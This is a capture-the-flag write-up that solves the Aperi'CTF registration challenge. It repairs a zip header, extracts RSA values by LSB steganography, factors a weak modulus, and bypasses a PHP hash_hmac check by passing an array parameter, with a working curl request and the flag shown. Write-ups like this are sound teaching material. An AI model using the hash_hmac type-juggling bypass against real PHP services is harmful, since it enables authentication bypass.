Voici le challenge d’inscription à l’Aperi’CTF. Bonne chance ! Fichier: http://CHALL.zip md5sum: 8fdc3ae93c0ee6b1e263560ec6b216f8 URL: https://aperictf.fr/CHALL.zip

TL;DR

  • Repair the zip file by changing the magic bytes
  • Retrieve RSA values from the image with LSB
  • Factorize the public key to decrypt a message (url)
  • Exploit hash_hmac to find the flag

Zip reparation

After downloading the zip file, we try to unzip it. Well, that didn’t go as planned…

magnussen@funcMyLife:~/aperictf$ unzip CHALL.zip
Archive: CHALL.zip
file #1:  bad zipfile offset (local header sig):  0

Let’s check out the header as it seems to be the source of the problem.

magnussen@funcMyLife:~/aperictf$ xxd CHALL.zip | head
00000000: dead beef 1400 0000 0800 814c 094f a2c5  ...........L.O..
00000010: aa42 324c 0000 e759 0000 0900 0000 4348  .B2L...Y......CH
00000020: 414c 4c2e 706e 67ec 5a85 57d4 5f16 ff52  ALL.png.Z.W._..R
00000030: 82a2 f233 4129 0350 6ae8 2e93 1014 a43b  ...3A).Pj......;
00000040: 44ba 7108 6975 0125 1504 a445 4aba 4360  D.q.iu.%...EJ.C`
00000050: 9851 0444 4a72 a43b 8694 1806 0686 d937  .Q.DJr.;.......7
00000060: ccee d93d bb7f c19e b3e3 9ce3 f08d f7ee  ...=............
00000070: bbef c6e7 7eee 7ba3 f148 e9d4 89cb 2720  ....~.{..H....'
00000080: 083a a5a2 7c4f 1382 a825 2188 f216 dd31  .:..|O...%!....1
00000090: 70c5 b66c f012 0419 14ab dcbb aded 9db2  p..l............

Well, I don’t think deadbeef is a legitimate header… Let’s compare this header with an other zip header.

magnussen@funcMyLife:~aperictf$ xxd test_zip.zip | head
00000000: 504b 0304 1400 0000 0800 bb73 234f 002d  PK.........s#O.-
00000010: b8dc ff00 0000 9c01 0000 0700 1c00 7374  ..............st
00000020: 6567 2e70 7955 5409 0003 c15c 6e5d aaf0  eg.pyUT....\n]..
00000030: 795d 7578 0b00 0104 e803 0000 04e8 0300  y]ux............
00000040: 0055 50cb 6ac3 3010 3c5b 5fb1 a450 cbd4  .UP.j.0.<[_..P..
00000050: 18b7 b706 7c29 7d10 286d c9d5 04a1 c4b2  ....|)}.(m......
00000060: 23b0 1eac d5a6 f4eb abb5 55d2 9c34 3b3b  #.........U..4;;
00000070: 331a 561b ef30 80c4 c14b 9c14 d3cb 6c64  3.V..0...K....ld
00000080: 38b2 1e9d 818f cd2b 2472 63e4 a018 eb54  8......+$rc....T
00000090: 0fa8 6427 e699 176b 9669 42d0 2c8a ca79  ..d'...k.iB.,..y

Alright, a legitimate zip file starts with 504b0304. Let’s fix this header with hexedit and try to unzip it.

magnussen@funcMyLife:~/aperictf$ xxd CHALL.zip | head
00000000: 504b 0304 1400 0000 0800 814c 094f a2c5  PK.........L.O..
00000010: aa42 324c 0000 e759 0000 0900 0000 4348  .B2L...Y......CH
00000020: 414c 4c2e 706e 67ec 5a85 57d4 5f16 ff52  ALL.png.Z.W._..R
00000030: 82a2 f233 4129 0350 6ae8 2e93 1014 a43b  ...3A).Pj......;
00000040: 44ba 7108 6975 0125 1504 a445 4aba 4360  D.q.iu.%...EJ.C`
00000050: 9851 0444 4a72 a43b 8694 1806 0686 d937  .Q.DJr.;.......7
00000060: ccee d93d bb7f c19e b3e3 9ce3 f08d f7ee  ...=............
00000070: bbef c6e7 7eee 7ba3 f148 e9d4 89cb 2720  ....~.{..H....'
00000080: 083a a5a2 7c4f 1382 a825 2188 f216 dd31  .:..|O...%!....1
00000090: 70c5 b66c f012 0419 14ab dcbb aded 9db2  p..l............

It worked!

magnussen@funcMyLife:~/aperictf$ unzip CHALL.zip
Archive:  CHALL.zip
inflating: CHALL.png

Ok, so now we have a PNG file.

Basic LSB

One of the few technique I know in steganography is LSB (Least Significant Bit).

This technique allow us to hide data inside an image by replacing the least significant bit of an image with bits of the message we want to hide.

Let’s check that out with zsteg.

magnussen@funcMyLife:~/aperictf$ zsteg CHALL.png
b1,r,lsb,xy         .. text: "n = 188198812920607963838697239461650439807163563379417382700763356422988859715234665485319060606504743045317388011303396716199692321205734031879550656996221305168759307650257059"
b1,g,lsb,xy         .. text: "e = 65537"
b1,b,lsb,xy         .. text: "c = 9986054075286000587668895426923656875987361694519328214521142943248872647547517004151161951168639996406032652019995630293096170266608978994154691899495639116835825515626741"
b2,g,msb,xy         .. text: ["U" repeated 238 times]
b4,g,msb,xy         .. text: ["w" repeated 220 times]
b4,rgb,msb,xy       .. text: ["w" repeated 10 times]
b4,bgr,msb,xy       .. text: ["w" repeated 10 times]

RSA

Well, well, well… n, e and c… it looks like RSA.

One of the most common attack on RSA is the factorization of n. If we can factorize n we’ll be able to find p and q and we’ll have the private key.

Let’s see if the factors of n are known. I use factordb for that.

FactorDB

Alright, let’s decipher the message. I’ve used RsaCTFTool for that.

magnussen@funcMyLife:~/RsaCtfTool$ ./RsaCtfTool.py -n 188198812920607963838697239461650439807163563379417382700763356422988859715234665485319060606504743045317388011303396716199692321205734031879550656996221305168759307650257059 -e 65537 --uncipher 9986054075286000587668895426923656875987361694519328214521142943248872647547517004151161951168639996406032652019995630293096170266608978994154691899495639116835825515626741 --attack factordb
[+] Clear text: b'Next step is here: https://aperictf.fr/hidden_chall_82991/ , good luck.'

PHP Hash_hmac

It’s always nice to finish with some web challenge. So we find this web page:

require("config.php"); // $secret & $flag
show_source(__FILE__);

if (empty($_POST['hflag']) || empty($_POST['seed'])) {
exit;
}
if (isset($_GET['seed']))
$secret = @hash_hmac('gost', $_GET['seed'], $secret);
$hflag = @hash_hmac('gost', $_POST['seed'], $secret);
if ($hflag !== $_POST['hflag']) {
exit;
}
echo($flag);
?>

Alright, so we can play with 3 parameters:

  • seed with GET method
  • seed with POST method
  • hflag with POST method

So this program expect our POST parameter hflag to be equal to hflag. And hflag is the result of two hash_hmac functions.

We have to use hflag and seed or we’ll be kicked out.

If we use seed with GET method we can influence the secret and as so hflag.

We don’t know the initial secret so in order to control the new secret we’ll have to make the hash_hmac function crash.

If we try to hash an array it will crash, but the ouput we’ll be false. So we’ll have:

$hflag = @hash_hmac('gost', $_POST['seed'], False);

Let’s hash a random string with a random seed and we will send that to the server.

$hflag = @hash_hmac('gost', "cestpasfaux", False);
$hflag = "53741d67986ba600c063b331fb0cb88e2db538ca067d8eab0e059729335a3f35"

Let’s go validate the challenge:

magnussen@funcMyLife:~/aperictf$ curl https://aperictf.fr/hidden_ch2991/\?seed\[\]\=doesntmatter -d 'seed=cestpasfaux&hflag=53741d67986ba600c063b331fb0cb88e2db538ca067d8eab0e059729335a3f35'

Bravo, voici le flag APRK{1-Scr1pt10n}

YEAH! It worked!! \o/

This was a really good challenge, it covers the basis of different categories and the web challenge was really interesting.

Thank you Aperi’Kube for this challenge and the tickets for the Aperi’CTF, I’ll see you the 14th of September!